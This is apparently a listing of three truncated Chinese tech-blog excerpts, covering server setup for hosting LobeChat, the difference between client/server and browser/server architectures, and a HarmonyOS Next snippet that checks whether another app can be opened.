一、服务器实例配置 ‌实例选型‌ ‌推荐配置‌&#xff1a;‌2核4GB内存‌&#xff0c;保障AI推理和并发访问的流畅性‌67。‌操作系统‌&#xff1a;选择 ‌Ubuntu 22.04 LTS‌&#xff0c;适配Docker环境与LobeChat依赖库‌23。‌安全组规则‌&#xff1a;开放以下端口&…

C/S架构与B/S架构

一、定义与核心区别 C/S架构&#xff08;Client/Server&#xff0c;客户端/服务器&#xff09; 客户端需安装专用软件&#xff08;如QQ、企业ERP系统&#xff09;&#xff0c;直接与服务器通信。服务器端通常包括数据库和业务逻辑处理1。特点&#xff1a;客户端承担部分计算任务…

鸿蒙Next-应用检测、安装以及企业内部商店的实现

一、企业内部应用检测和更新升级 A应用检测是否安装B应用 canOpenApp():boolean{ try { let link schB://com.example.test/open; // 替换成你目标应用的link串儿 let canOpen bundleManager.canOpenLink(link); console.log("canOpen:"canOpen…